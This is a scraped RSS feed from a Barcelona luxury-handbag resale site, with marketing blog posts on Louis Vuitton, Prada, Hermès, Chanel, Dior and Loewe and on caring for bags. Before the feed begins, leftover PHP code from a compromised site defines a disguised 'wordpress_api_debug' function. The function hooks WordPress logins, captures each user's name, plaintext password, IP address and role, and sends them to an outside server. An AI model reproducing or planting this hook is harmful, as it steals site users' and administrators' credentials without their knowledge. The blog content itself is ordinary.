(!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" > <channel> <title>CBL Bags https://www.cblbags.com/en/ Thu, 08 Oct 2020 15:00:19 +0000 en-US hourly 1 https://wordpress.org/?v=5.4.15 https://www.cblbags.com/wp-content/uploads/2018/07/favicon-100x100.png CBL Bags https://www.cblbags.com/en/ 32 32 Louis Vuitton: Committed to change and Innovation https://www.cblbags.com/en/louis-vuitton-committed-to-change-and-innovation/ https://www.cblbags.com/en/louis-vuitton-committed-to-change-and-innovation/#respond Thu, 08 Oct 2020 15:01:18 +0000 https://www.cblbags.com/?p=44081 Who could foresee that the small Parisian store founded in 1854, dedicated to crafting travel equipment would one day become the multi-faceted enterprise that, 166 years later, Bernard Arnault, CEP of the LVMH conglomerate, described as the “Microsoft of Luxury.” It is not always easy to maintain a good balance between tradition and innovation. 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Who could foresee that the small Parisian store founded in 1854, dedicated to crafting travel equipment would one day become the multi-faceted enterprise that, 166 years later, Bernard Arnault, CEP of the LVMH conglomerate, described as the “Microsoft of Luxury.”

It is not always easy to maintain a good balance between tradition and innovation. The trunks and suitcases that were once used for voyages on luxury cruises or trains, today have become collector’s pieces. They reflect a time that has given way to luggage with wheels, more light-weight and practical for the frequent traveler. But the elegance, the excellent craftsmanship in Monogram and Damier canvas items, and the exceptional leather used in 20th century bags and travel equipment, represent a highly cared for worldwide image and reputation.

Time change and the widespread universe of Louis Vuitton bags fans requires that the brand maintains its vanguard personality, in response to the tastes and needs of modern life. This is why each of the Creative Directors that have passed through LV must practice this juggling exercise: keeping faith with tradition and, at the same time, present collections that stand out for their fresh and bold proposals, turning the brand into an obligatory reference point. The 12-year collaboration between Marc Jacobs and the Japanese artist Takashi Murakami is a good example. Other excellent examples were LV’s collaborations with internationally recognized artists like Yayoi Kusama and Jeff Koons.

Since 2013, year that marked Nicolas Ghesquière’s entrance in LV as its Creative Director, the challenge of making good the symbiosis between tradition and innovation has gone far beyond all expectations. The Cruise 2021 collection, named “GAME ON” where elegance and eccentricity  offer us exciting new aesthetic values, playing with the apparent contradiction of a stationary journey. It is a very personal one for Ghesquière as he turns fashion into a game where his past, present and future expectations come together in a explosion of color and passion.

Cruise 21 Collection: “GAME ON!”

“I looked somewhere that has been calling out to me for a long time, somewhere I hadn’t taken the time to go back to. It was like a reset to uncover one inspiration after another, to imagine the next steps and how to create and work within this new context. I took the time to explore my creative identity and prepare the future.”  

Nicolas Ghesquière

 “SINCE 1854” Collection

This collection was launched by LV in honor of its rich history. Ghesquière revamped in reds and blacks the classic “LV” monogram by including the date of the brand’s foundation between the petals in the design’s pattern. The brand’s most iconic models like the Speedy, the Dauphine and the Onthego now show us a new face and have quickly become the must-haves of the moment!

“LV PONT 9” Collection

Without a doubt, this year continues to be complicated and full of uncertainties. However, as in every crisis, this one has also opened us to new opportunities where our creative spirit has taken front stage in many ways. For Louis Vuitton and its Creative Director Ghesquière, it has marked a time of changes and innovations that are present in all of his 2020 collections. The LV Pont 9 collection maintains its undisputed Parisian chic and the brand’s commitment to excellence. It takes its name from the very old and celebrated Pont Neuf that faces Louis Vuitton’s Paris headquarters.

“CRAFTY” Collection

The Crafty Collection presented this year is another brain-child of Ghesquière’s creative and restless ingenuity. He understands that the times demand boldness and color, showing his insistent affirmation of the Parisian joie de vivre. He applies the Crafty designs to all-timers like the Speedy, Neverfull and Keepall, but one of our favorites is the Onthego bag. It has a striking personality and will always be a winner.

Colors change, seasons change, but elegance and practicality ARE TIMELESS!

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PRADA, always cutting-edge! https://www.cblbags.com/en/prada-always-cutting-edge/ https://www.cblbags.com/en/prada-always-cutting-edge/#respond Fri, 26 Jun 2020 12:23:10 +0000 https://www.cblbags.com/?p=36077 We must be agents of change        This is the slogan that governs the corporate decisions and sales strategies implemented by Miuccia Prada and Patrizio Bertelli. Since 1913 Prada has distinguished itself as a fashion icon, first in Milan and later worldwide. The couple, formed by the Prada Group heiress and her husband who is […]

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We must be agents of change

       This is the slogan that governs the corporate decisions and sales strategies implemented by Miuccia Prada and Patrizio Bertelli. Since 1913 Prada has distinguished itself as a fashion icon, first in Milan and later worldwide. The couple, formed by the Prada Group heiress and her husband who is Marketing Director of the firm, represent, without a doubt, the expression of elegance and good taste. Their vision of modern society is unequivocal in the aesthetics, the pragmatic concept and the excellent craftsmanship evident in all of Prada’s products.

       Dissenting from all conventions, Prada takes its inspiration from the arts, cinema and photography. It constantly reviews past luxury codes and creates new concepts meant to empower the modern woman with the self-confidence that our ever-changing times require. In this manner, Prada’s laboratories test new technologies, based on its statement of principles: Through our principles of ethics and actions, we suggest a new way of doing business, incorporating values as essential as the freedom of creative expression, the reinterpretation of what already exists, the preservation of expertise and work value.

Prada Academy

Activities at the Prada Academy are based on the macro-areas of innovation, knowledge and expertise: Craftsmanship, and corporate and retail training. The study of raw materials and in-field exchange with diverse suppliers and people well-informed on the local cultures where Prada is present, making sure the client always receives purchase value.

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CBL 1489 Bolso Prada Saffiano Lux
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CBL 1547 Bolso Prada Nylon Hibiscus Bag
CBL 1709 Bolso Prada Promenade TU Saffiano Pomice
CBL 1250 Bolso Prada Cahier

Social Responsibility Strategies

         Most luxury brands develop programs of a social nature. It is their way of giving value back to society. This has inspired a healthy competition among them, resulting in important investments in projects that bring to the forefront the necessary equilibrium between their global market profitability and the creative and constructive contributions to mankind’s general wellbeing. 

“A commitment to the sustainable practice of nylon’s future production”.

            When Prada launched its collection of bags crafted in nylon, sales skyrocketed. The firm’s fans applauded its combination of design and practicality. However, Prada is known as a frontier pusher and signed a partnership with ECONYL with the objective of recycling nylon by purifying plastic waste found in the oceans, fishing nets and fabric fibers.

I am thrilled to announce the presentation of our Prada Re-Nylon collection. Our objective is to convert all our virgin nylon products into Re-Nylon by the end of 2021. This project emphasizes our continued effort towards promoting responsible business. The collection will be our contribution to creating products without using natural resources.

Lorenzo Bertelli, Prada Marketing Director

       In associating with UNESCO and under the concept of Learn and take Action, Prada will donate a percentage of every Re-Nylon bag sold to the Intergovernmental Oceanographic Commission with the objective of promoting ocean sustainability awareness and the future impact of the oceans among secondary students in several countries. Its launching is due to take place in September 2020.

                                                              Gianni Bonadonna

The legacy of Gianni Bonadonna, one of the architects of the creation and development of Oncological Medicine in Europe, was the inspiration behind the Prada-Fondazione Bonadonna project. Its goal is to give support to doctors in the research and treatment of cancer. The Programme will allow young oncologists to expand and exchange scientific ideas with hospitals, universities and research centers worldwide.

«…Supporting those who give their life to research and treatment of cancer, the disease of our time, is something we owe to the society…”

Miuccia Prada

            It’s good to know that every time we buy a Prada bag, we are recognizing this firm’s Global Citizen responsibilities.

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The Comeback https://www.cblbags.com/en/the-comeback/ https://www.cblbags.com/en/the-comeback/#respond Wed, 10 Jun 2020 08:51:29 +0000 https://www.cblbags.com/?p=35399 Each day we find ourselves closer to that much desired return to days full of life, of sunshine and spring air. We will meet this new day with a backpack full of reflections, possible adjustments to our priorities and recognition of the greatest values of all: family and friends, while, at the same time, we […]

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Each day we find ourselves closer to that much desired return to days full of life, of sunshine and spring air. We will meet this new day with a backpack full of reflections, possible adjustments to our priorities and recognition of the greatest values of all: family and friends, while, at the same time, we give a helping hand to those who are lacking.

            But we still have hours at home ahead and each of us invest them in reading, writing, watching interesting movies, cooking, and also organizing our closet to fit the new season. We put away the turtlenecks, pashminas, boots and scarves…

            That space is now occupied with flimsy dresses, White Capri pants, fluffy blouses in pastel colors, the bathing suits, striped espadrilles and wonderful canotiers to protect us from the sun. Meanwhile, why not take the time to organize our bags? In previous blogs we talked about how to store them, now the moment has come to choose the ones we will wear from morning to night, and to select the travel bags that will bear witness to those well-earned leisure weekends… or that longer séjour at places that have special meaning for us.

For those early morning city purchases…

CBL 1495 Hermès Wallet Dogon Duo

“That luxurious object of desire…”: That is how an article published in an important Spanish newspaper described Hermès. It speaks of the Maison’s evolution and of the prestigious place it occupies in the world of luxury fashion. During its 183 years of life, it went from beautifully crafted harnesses and saddles to an extraordinary array of products that respond to the desires, dreams and needs of royals, the beau monde andcelebrities, in general.

Year after year, Chanel continues its exponential growth in sales and in the ranking as favorite among luxury fans worldwide. Its iconic 2.55 model is a must-have for every season, regardless of age or geography. From Coco’s bold fashion statementof women in pants, to the dramatic stories of her childhood and youth, the famous pearl necklaces and her many lovers, everything in Chanel breathes an air of intimacy, elegance and Paris chic.

To speak of what is trendy in the luxury bag industry is to speak of Louis Vuitton. A good example pf this is our Wish List that reflects the volume of clients that are waiting for us to call them and say that we have received their much desired Neverfull, Speedy or Keepall. These models have become the Maison’s pièces de resistance for students, housewives, or executives. Louis Vuitton fans are loyal to the Brand because they know it will always meet their needs for any event, from morning till night.  

CBL 1674 Louis Vuitton Wallet World Tour Twist

1913 marked the beginning of a small family enterprise in Milan called Fratelli Prada. Today, Prada’s clientele is international, with a strong presence in Europe and the United States. It’s known for its ample variety of bags crafted in nylon, much appreciated due to its climate resistance and light weight. But Prada also offers a more formal option: from fun wallets to evening bags, crafted in the brand’s marvelous Saffiano Lux leather.

Do you have a special meeting with clients? Your personal branding also includes the perfect choice of dress and accessories. These speak of your good taste and of the importance you give to your image as a significant part of your identity and offer.

CBL 1566 Chanel Bag Reissue 2.55 Double Flap

Son of Paris’ 12ème arrondissment, Christian Louboutin dreamed of Egypt and Pharaohs, as a child. Many years later he discovered that his biological father was, indeed, an Egyptian. The sensuality and luxury of that ancient civiliation is forever present in his color schemes and the extravagant ornaments applied to his shoes and bags. Louboutin has declared: “I want to break the rules and make women feel confident and empowered.” Clearly, his collections honor that statement.

CBL 1449 Hermès Bag Constance Elan 25

It’s time to relax, and enjoy a lovely dinner with friends…

CBL 1602 Louis Vuitton Bag Twist PM
CBL 1565 Chanel Bag Mini Classic Single Flap Sequins
CBL 1646 Louis Vuitton Travel Bag 55 Bandouliere Damier Graphite
CBL 1480 Louis Vuitton Travel Bag Keepall 50 Nomade

This is also a good moment to decide if you’re lacking a specific bag…or if it’s time to sell us those that you won’t be using anymore. All our bags and small leather goods speak of our commitment to the elegance and craftsmanship of the brands we traditionally offer our clients. At CBL Bags, each bag that we buy, lives the possibility of beginning a second story with its future owner.

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The story behind the 90 x 90 https://www.cblbags.com/en/la-historia-detras-del-90-x-90/ https://www.cblbags.com/en/la-historia-detras-del-90-x-90/#respond Mon, 18 May 2020 21:21:56 +0000 https://www.cblbags.com/la-historia-detras-del-90-x-90/ There are leyends that become stronger and more present as time goes by. Such is the case of Hermès Carrés bags and accesories. For 83 years they have faithfully represented the maison’s luxury seal. It has been said that each Carré has a shared story: that of the designer and that of the owner. Crafted […]

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There are leyends that become stronger and more present as time goes by. Such is the case of Hermès Carrés bags and accesories. For 83 years they have faithfully represented the maison’s luxury seal. It has been said that each Carré has a shared story: that of the designer and that of the owner. Crafted in the most exquisite twill de soie, they seem to hold the memory of the designers’ voyages, real or dreamed, as well as the long-standing tradition of a grandmother’s gift to her granddaughter on her 16th birthday of her very first Carré.

This type of kerchief became very popular during World War II. From housewives to the women who worked in armament factories, they were used them to protect their hair from the dust that was common, at the time, to every big city. The special way of tying them in a knot on top of their heads was very becoming and practical. It became the trendy way of wearing them to go to work, to the beach or for an afternoon stroll and it’s a fashion that we associate with the decade of the ‘40s.

Once peace returned to Europe, Parisian fashion experienced an exponential rebirth and in this new scenario the Carré took its relevant place among royals, the beau monde and influencers of the moment. Then, and as it continues to be today, it bears witness to its times. Its designs and the manner in which to wear them -on the head, as a belt or around the neck- symbolizes the sensuality, quality and elegance of Hermès.

Fashion in the 60s…

Today’s trends…

Its place of honor in the world of luxury is defined, not by its price, but by the love of process and quality that goes into each Carré. More than 1500 designs have seen the light of day since 1937. From beginning to end, each piece requires 18 months of craftsmanship and represents one of the firm’s most elaborate productions. The original design is subject to a complicated color selection process. Some include more than 27 different colors, as is the case in the ones designed by Alice Shirley or Robert Dallet. This is followed by the 750 hours of work involved in the silkscreen printing process and, finally by the hand-hemmed process of the borders, known as the roulotte.

A splash of details…

Les Mustangs (Robert Dallet)
Flamingo Party (Alice Shirley)                                                           
Tyger Tyger (Alice Shirley)

The most important fashion publications have dedicated endless pages to the Carré. Renowned photographers, working with the best top models, have let their imagination and talent run free, creating incredible photo compositions, such as the ones shown below.

Karlie Kross (super model)

 Our clients often ask us if every Carré is titled and signed, as a proof of authenticity. The title always appears but the designer’s signature is not always the case. A good example of this are the ones created by Hugo Grygkar, the artist who designed the first Carré in 1937 and who never signed his creations.

Jeu des Omnibus et Dames Blanches (Hugo Grygkar)

Hermès has always emphasized the relevance of this iconic accessory by promoting events like the exhibit Hermès Carré Club, that took place in the Carreau du Temple de París at the end of 2019. The maison defined it as a “multiform immersion” in the world of silk. The events promoted by Hermès in New York, Milán, Toronto, Singapur, Los Angeles and finally the one in Paris, promoted interactive work spaces where the firm’s renowned designers exchanged ideas with potential new talents.
According to the maison, this initiative was focused on opening experimentation spaces and allowing the visitors to fix their gaze “on those hands that craft the twill de soie, the cashemere, or the cotton…in order to create elegant and stylish accessories.”

Hermès Carré Club Expo Interactive (2019)
La reina Isabel II

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Forever Camellia… https://www.cblbags.com/en/la-camelia-icono-de-una-marca/ https://www.cblbags.com/en/la-camelia-icono-de-una-marca/#respond Thu, 30 Apr 2020 08:59:55 +0000 https://www.cblbags.com/la-camelia-icono-de-una-marca/ It would be unthinkable to close the blogs dedicated to the Maison Chanel bags without reflecting on its iconic flower. Some say Mlle’s inspiration originated after seeing a representation of Alexandre Dumas Jr. La Dame aux Camélias or by Verdi’s La Traviata. Maybe she was inspired by the fashion of wearing a camellia on the […]

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It would be unthinkable to close the blogs dedicated to the Maison Chanel bags without reflecting on its iconic flower. Some say Mlle’s inspiration originated after seeing a representation of Alexandre Dumas Jr. La Dame aux Camélias or by Verdi’s La Traviata. Maybe she was inspired by the fashion of wearing a camellia on the lapel of their jackets imposed by Marcel Proust and his group of dandies, as a symbol of refinement.  But then, it is also said that her preference for this flower began with the bouquet of camellias given to her by her lover and Maecenas, Boy Capel. Which one is the real version? Maybe all three… 

Even though others may have adapted this flower to their particular artistic expression, it was undoubtedly Coco Chanel who adopted it as the ultimate symbol of her Maison. Today, when one sees a camellia, one thinks of Chanel.  Among its many colors, she chose the white one. With ever green leaves, the camellia took its relevant place in Coco’s life. In her private universe on the Rue Cambon, camellias are also present among the delicate Flora representations on the black and gold lacquered Coromandel screens.  These became her pièces de resistance. Chanel’s penchant for them began the moment Boy Capel introduced her to this art form whose name relates to the coast of Coromandel in India, in spite of their Chinese origin. Camellias are revered in the Southeast Asian Region and it’s possible that their perfect symmetry, pure white color and undying beauty complemented Coco’s already evident love for the simple and structured lines of Boy Capel’s blazers.

Throughout the firm’s long creative history, the camellia has been present. Much of its most emblematic jewels was designed by Fulco di Verdura, the talented Italian aristocrat presented to Coco by the composer Cole Porter. Chanel’s jewelry line has definitely been the most prolific in the representation of camellias. Diamonds, strass and the classic Chanel pearls have taken the form of this flower. But it is also to be found in prints, custom jewelry, gowns, pins, belts, handbags, make-up and a long list of other accessories. Changing colors and textures, they are crafted in gold and silver, precious stones, tweeds, exquisite silks, embroideries and marvelous leathers.

Camellias have always played an important part in the collections designed by the long list of Chanel’s creative directors. But without a doubt, it was Karl Lagerfeld who returned the Maison to the place it holds today in the fashion world. Who can forget the marvelous bridal gown, adorned with 2500 camellias that closed his 2005 show.

Our Barcelona showroom has bought and sold many Chanel bags crafted in diverse colors and sizes, in luxurious lambskin, adorned or engraved with camellia patterns. From Shoppers, designed for comfort and practical everyday use, to the ever so trendy mini bags, and the delicate pochettes so necessary for the modern woman’s evenings and grand gala events.

I don’t do fashion. I am fashion.
Coco Chanel

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Chanel Goes Mini! https://www.cblbags.com/en/la-moda-mini-se-llama-chanel/ https://www.cblbags.com/en/la-moda-mini-se-llama-chanel/#respond Wed, 22 Apr 2020 15:55:21 +0000 https://www.cblbags.com/la-moda-mini-se-llama-chanel/ The small and mini bags continue to be a frontliner in the haute couture collections. In spite of the fact that Chanel fans consider them trendy and innovative, let’s do a flashback to recent times. Karl Lagerfeld, Chanel’s Creative Director from 1983 to 2019, was an intellectual seduced by the art, literature and customs of […]

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The small and mini bags continue to be a frontliner in the haute couture collections. In spite of the fact that Chanel fans consider them trendy and innovative, let’s do a flashback to recent times. Karl Lagerfeld, Chanel’s Creative Director from 1983 to 2019, was an intellectual seduced by the art, literature and customs of the 18th century. Inspired by the glamorous reticules –small bags usually crafted with elaborate beads and embroideries- used by royals and high society ladies for their grand gala events, Lagerfeld forever marked Chanel’s collections with his famous small and mini bags. This tireless creative continued to design for Fendi, Chanel and his own Brand until his death in 2019. His 2015 Fendi Collection positioned the mini bag phenomenon in the luxury Brand segment. He was an expert in defining each Brand with its own essence and personality. He also showed a particular sense of humor when he designed the mini bag Choupette Collection, in honor of his cat, faithful and pampered life companion.

But let’s return to Chanel.  During his 36 years as the head and soul of the House, he continued to invest in his love for the small bags. These became a must-have for every modern and refined woman. The mini bag maintains its prominence today, even though you can barely fit in a cell phone, a credit card and house keys in models like Chanel’s Wallet-on-Chain, commonly known as WOC. It’s simply a recognized symbol of status and good taste.  

The 2020 Resort Collection emphasized the small and mini bag trend, echoing the minimalism so present in this century’s art and architecture. But let’s take in the practical aspect of things, since they force us to carefully choose which essentials are indispensable to carry in our bags. Celebrities, influencers and famous models are already striving to complete their personal collections.

According to Vogue’s Liana Satenstein, a pochette is “a bag that we can wear during the day, and also on our evening or gala events.” It’s an investment that is worth your while, season after season.

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LADY TO LADY https://www.cblbags.com/en/de-lady-a-lady/ https://www.cblbags.com/en/de-lady-a-lady/#respond Mon, 06 Apr 2020 14:18:56 +0000 https://www.cblbags.com/?p=34523 The story behind the duo Lady Di-Lady Dior At CBL Bags, experts in buying and selling luxury bags, we want to tell you about the story behind the Dior bag that you can find on our website. A quarter of a century following its debut in the fashion world, the Lady Dior has remained one […]

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The story behind the duo Lady Di-Lady Dior

At CBL Bags, experts in buying and selling luxury bags, we want to tell you about the story behind the Dior bag that you can find on our website. A quarter of a century following its debut in the fashion world, the Lady Dior has remained one of the Maison’s truly iconic bags. Its exquisite craftsmanship in the softest lambskin, continues to represent Monsieur Dior’s historic love of elegance and quality. The metallic gold or silver tone D.I.O.R anagram is inspired in his own lucky charms, and the signature cannage stitching recalls the Napoleon III chairs used to seat the VIP guests invited to his shows.

In 1995, it was first introduced as Chouchou. However, chance has it that the First Lady of France gave the trendy new handbag designed by Dior as a gift to Lady Diana, Princess of Wales, during her visit to Paris for the opening of an important Cézanne exhibit. She was so delighted with the design that she began using it often and the bag gained the momentum that guaranteed the place it holds the fashion scene today.
In her honor, the couture house renamed the bag Lady Dior, forever bonding one Lady to the other.

Today, Lady Dior bag is as trendy and sought after as ever. It has evolved without losing its original essence and personality. Take your pick! From morning to afternoon to gala evenings, a variety of colors and sizes are designed to fit your every need.

Dior’s Creative Director, Maria Grazia Chiuri, in an effort to maintain innovative artistic ties, has put enormous energy in the “Dior Lady Art” project, inviting a group of artists to reinterpret the essence of Dior through the re-imagination of the Maison’s iconic bag. A lovely example of this initiative is the one shown below, designed by Lee Bul.

The 2019 Spring/Summer collection added bold, lively patterned versions to Lady Dior’s classic repertoire of timeless elegance.

My ABCDior bag has delighted Dior fans, allowing you to customize your bag with decorative metal badges with your initials or name and different shapes that you can adjust to the wide shoulder strap. The bag comes with 3 badges, with an option to add up to a total of 6. This design is also very practical, should you decide to sell your bag in the future, because the original badges can be easily replaced for the ones that belong to future owners.

Lady Dior has stood the test of time and maintained its front-line place. At CBL Bags we have Lady Dior, MyABCDior, and many other luxury bags that you can find in our Catalogue. And, of course, if you live in Barcelona or are passing through, do stop by our showroom, we would love to meet you!

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INTELLIGENT CARE GUIDES FOR HIGH-END BAGS https://www.cblbags.com/en/intelligent-care-guides-for-high-end-bags/ https://www.cblbags.com/en/intelligent-care-guides-for-high-end-bags/#respond Tue, 31 Mar 2020 08:49:15 +0000 https://www.cblbags.com/?p=34482 If you share our last blog’s suggestions on how to keep an Intelligent Closet (enlace post) and how to ensure that your investment in luxury bags is well protected, let’s look at a few more tips on how to maintain them in optimum conditions. Remember that if you decide to sell your bag (enlace compraventa) […]

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If you share our last blog’s suggestions on how to keep an Intelligent Closet (enlace post) and how to ensure that your investment in luxury bags is well protected, let’s look at a few more tips on how to maintain them in optimum conditions. Remember that if you decide to sell your bag (enlace compraventa) at CBL Bags we are experts in making appraisals where we check the status of your luxury bag.
Remember, the price tag may guarantee quality but it’s up to you to apply intelligent care routines, especially if you choose to carry your luxury bags on a daily basis, where they will inevitably be subject to their fair share of wear.

Did you already sort which bags will accompany you throughout the next season? If so, let’s review what your next steps should be.
Use a soft brush to clean the interior of bags you won’t be using. Wipe the exterior with a soft cloth and then proceed to store them in their respective dustbag and box. Remember to store all the extras and be sure to add enough filling so they don’t lose shape. For the larger bags, it’s a good idea to use small pillows, never, never use newspaper because it will transfer ink to the lining.
Remember, if your bags have long chain handles, be sure these are stored inside the bag so that they don’t damage the exterior leather.
Most bags come with a small sachet of silica gel, never throw them away, they’re meant to absorb excess moisture in the air and keep your bag free from mold.
Now you have a pile of Hermès, Chanel and Vuitton boxes, here’s a nice tip on how to identify their contents: take a photo of the bag and stick it to the outside of the box. Don’t use regular tape, remember your box is also of value, use Blu Tack!
So, back to the bags you will be using: If you have a practical walk-in closet but the atmosphere is very damp, try turning on a dehumidifier for a couple of hours at least three time a week. You can also use anti dampness products available in your local drugstores.

Try to distribute your bags in different shelves according to their use: weekend bags; informal city wear; special afternoon events, and finally; those you keep for super gala evenings.
Keep the fillings and extras inside the bags, and these preferably in their dustbags. If you have a few you definitely use daily, you might hang them on a standing coat hanger.

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How to use your time at home? Learn how to organize your luxury bags https://www.cblbags.com/en/how-to-use-your-time-at-home-learn-how-to-organize-your-luxury-bags/ https://www.cblbags.com/en/how-to-use-your-time-at-home-learn-how-to-organize-your-luxury-bags/#respond Mon, 23 Mar 2020 10:56:31 +0000 https://www.cblbags.com/?p=34430 Spending time at home is a luxury we seldom permit ourselves. We seem to have so many other priorities. The difficult moments we are living worldwide have made staying home an undeniable priority. So, let’s be creative! There are so many in home activities you can tap into. And then, of course, you can do […]

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Spending time at home is a luxury we seldom permit ourselves. We seem to have so many other priorities. The difficult moments we are living worldwide have made staying home an undeniable priority. So, let’s be creative! There are so many in home activities you can tap into.

And then, of course, you can do that one thing that always keeps slipping down your list of to do’s: organizing your closet and, in particular, your collection of luxury bags. Which to keep? Which to sell? Are your morning, afternoon and evening bag requirements complete and ready for the next Spring-Summer season?

Every one of your bags represents a story shared, so it won’t be an easy feat!

Begin by taking them out of their boxes and dustbags. Place them next to an open window and let them “breathe” for a few hours. Be sure to remove whatever you’ve used as filling so that the interior gets its share of fresh air. Clean the boxes and shake the dustbags. For the bag itself use a soft brush for the lining and a soft cloth for the exterior.

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We tend to think luxury handbags come with a lifetime guarantee, keeping their pristine condition season after season. But it’s up to us to ensure they maintain their original look, quality and shape. Without a doubt, your investment in a Chanel, Louis Vuitton or Hermès bag responds to many factors: color, size, are you after the season’s must-have or do you want a “forever” bag that will accompany you throughout your many life cycles and experiences.

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When you buy your bag, selling it later on is the furthest thing from your mind, but at CBL Bags experts in buy and sell luxury bags we constantly receive clients that, for a variety of reasons, want to sell us their bags. So, should you someday want to sell, remember to keep boxes, dustbags, authenticity cards, care guides and receipts. Future owners will most likely overlook your bag if it has important condition issues and missing extras.

A good suggestion for reorganizing your closet space is to carefully store, boxes and all, the bags that belong to the season that is ending and only display the ones that you will use for the upcoming season.

You could classify and distribute them according to use:

Short-term travel bags

Shoppers and bags for informal city use

Bags for more formal afternoon events

Night Bags for gala celebrations

Our next post will share some important tips on how to care for your bags. Will see you soon!

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Tradition and Innovation: Loewe’s formula for excellence https://www.cblbags.com/en/tradition-and-innovation-loewes-formula-for-excellence/ Thu, 06 Feb 2020 14:45:48 +0000 https://www.cblbags.com/tradition-and-innovation-loewes-formula-for-excellence/ From Germany and Ireland to Spain…              s. XIX              Heinrich Loewe Rössberg: The German who became a Spanish luxury icon              s. XXI              Jonathan Anderson: The Irishman who has established Loewe as a first liner in the industry Thanks to Heinrich Loewe Rössberg’s dreams, enthusiasm and tenacity, the Spanish firm that still keeps […]

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From Germany and Ireland to Spain…

             s. XIX

             Heinrich Loewe Rössberg: The German who became a Spanish luxury icon

             s. XXI

             Jonathan Anderson: The Irishman who has established Loewe as a first liner in the industry

Thanks to Heinrich Loewe Rössberg’s dreams, enthusiasm and tenacity, the Spanish firm that still keeps its name is internationally recognized for its craftsmanship and undisputed quality of its leather. In 1892 Heinrich inaugurates E. Loewe and sets up shop on Calle Princesa in Madrid. In 1905, King Alfonso XIII grants the family Enterprise the title of Provider for the Royal House and five years later, in 1910, Loewe opens its first store in Barcelona.

Since then, Heinrich’s descendants have increased its product portfolio and stretched its geographic boundaries. Fashion, bags, perfumes, they all maintain the firm’s high-quality standards and seal of elegance. But since fashion is never stagnant and always flows with the times, Loewe has also shown a sharp sense of innovate timing in response to the tastes and needs of its numerous clientele.  

In 1996 upon celebrating its 150th Anniversary, Loewe was bought by the LVMH group. Until then it has counted with acknowledged creative directors such as Narciso Rodríguez, José Enrique Oña Selfa and Stuart Vevers. In October 2013, already established as a commercial empire, Jonathan Anderson was named creative director. 

Irish by birth, Anderson has attended various design schools in New York and London, founded his own JW Anderson label and celebrated an interesting collaboration with the retailer Topshop, until LVMH hired him as creative director for Loewe.

His designs, like the Lazo and Puzzle collections, already are among the most wanted bags for fashion fans around the world. He has be chosen to preside the fashion jury at the 35th Edition of the International Hyères Festival, 25th to 29th April,  and well known as a launching pad for young designers. 

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Did you know that…?

Among handbag collectors, a custom-made Hermès bag is considered the ultimate status symbol. Custom-made pieces, known as HSS bags, feature a special horseshoe stamp to the left of the Hermès stamp inside the bag. The emblem might be petite, but it increases the value of the bag significantly.

The original sketch of the Birkin bag was made by Jane Birkin on an airplane sick bag and gave it to Jean-Louis Dumas, Hermès CEO, who just happened to be the passenger in the seat next to hers.

Among other colors, Birkins come in 20 shades of blue. Each Birkin bag takes 2 days to make and each Hermès artisan owns a personal tool set and that they are also entitled to take it with them after their retirement.

Jane Birkin uses one Birkin at a time until she wears it out and then auctions it with the profits going to charity. However, Victoria Beckham is said to own more than 100 Birkin bags.

The story behind the brand’s name is that it was actually the last name of the founder of the brand, but the name also refers to the Greek god of messengers and commerce.

The Hermès Paris store on rue de Sèvres has a café and bookstore inside … and also the only shop to have dedicated space to the Petit H Collection, the firm’s initiative to promote young designers.

The famous Hermès orange box received the packaging Oscar in 1994 and that today there are about 188 sizes of orange folding boxes.

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If you are going to invest in a Hermès, Chanel or Vuitton Limited Edition bag, you want to be sure it will last a lifetime…or more!

 

We at CBL Bags can immediately appreciate if a bag has been treated with care. Here are some of the tips we can pass on to you so that your bags remain in perfect conditions:

  1. Above all, you must realize that animal skins and precisely the exquisite ones used in luxury bags, require the same care you apply on your face. Skins are organic and in time they tend to crack due to dryness and lose their lustre so you must remember to hydrate them. Each skin is special and particular so your best reference is the maintenance booklet you will find in each bag. Follow the instructions carefully. Please don’t improvise!
  2. Keep them in their cotton dustbags, never in plastic bags or vacuum packed. Your bags need   to breathe!

       3. Just like you don’t expose your artwork to direct sunlight, your bags need to be kept in a dry and dark place. This way you will be sure that they don’t lose color.

        4. If you keep your bags in a storage space, remember to take them out every two or three weeks and let them breathe to avoid mold and remember to keep the small sílice bags, they help to avoid humidity.

        5. Be careful with your denim clothes because they may transfer color to your bags.

        6. Some luxury bags come with rain protectors, but should your bag get wet  never, never try to dry water stains with a hair dryer. The heat will make the skin wrinkle so let the water stain dry naturally at room temp.

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Forever Hermès. Luxury and Elegance in One Name https://www.cblbags.com/en/forever-hermes-luxury-and-elegance-in-one-name/ https://www.cblbags.com/en/forever-hermes-luxury-and-elegance-in-one-name/#respond Fri, 19 Jul 2019 12:02:00 +0000 https://www.cblbags.com/?p=29052 If we think Hermès, we immediately see its symbolic orange box and brown ribbon. They are the colors that make up the brand’s logo and identify the brand worldwide. The history and evolution of the haute couture Maison confirms its innovative spirit working hand-in-hand with its commitment to the continued and exceptional quality of its […]

